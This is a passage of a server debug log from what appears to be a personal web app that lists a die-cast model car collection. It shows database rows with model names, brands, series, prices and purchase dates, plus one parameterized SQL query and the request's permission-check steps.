      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500 - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:57:45.406Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:57:45.407Z server-connect:app Executing action step identify
2026-02-04T11:57:45.407Z server-connect:app options: { provider: 'security' }
2026-02-04T11:57:45.407Z server-connect:output identity: 1
2026-02-04T11:57:45.407Z server-connect:app Executing action step restrict
2026-02-04T11:57:45.407Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:57:45.407Z server-connect:output restrict: undefined
2026-02-04T11:57:45.407Z server-connect:app Executing action step paged
2026-02-04T11:57:45.407Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:57:45.411Z server-connect:output list: {
  offset: 0,
  limit: 100,
  total: 165,
  page: {
    offset: { first: 0, prev: 0, next: 100, last: 100 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 150,
      model_name: 'Dodge Charge',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-15T18:30:00.000Z',
      price: '199.00',
      brand: 'Jams Toys',
      series: 'Mainline',
      brand_id: 191,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 149,
      model_name: "Fish'd & Chip'd",
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Spider Man',
      vehicle_brand_id: 183,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 148,
      model_name: '92 Jeep Wrangler Sahara',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-22T18:30:00.000Z',
      price: '545.00',
      brand: 'Hotwheels',
      series: 'HW Pop Culture',
      brand_id: 71,
      series_id: 181,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 147,
      model_name: 'Nissan Fairlady Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Pantone',
      brand_id: 71,
      series_id: 180,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 146,
      model_name: 'Lucid Air',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'D',
      vehicle_brand_name: 'Lucid',
      vehicle_brand_id: 184,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 145,
      model_name: 'Lotus Cortina',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Euro',
      brand_id: 71,
      series_id: 179,
      case: 'D',
      vehicle_brand_name: 'Lotus',
      vehicle_brand_id: 185,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 144,
      model_name: 'Datsun 240Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'C',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 143,
      model_name: 'Pixel Shaker',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Ride-Ons',
      brand_id: 71,
      series_id: 178,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 142,
      model_name: 'Nissan 350Z Custom',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 141,
      model_name: 'Nissan Silvia (S15)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 140,
      model_name: '1970 Monte Carlo',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500 - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
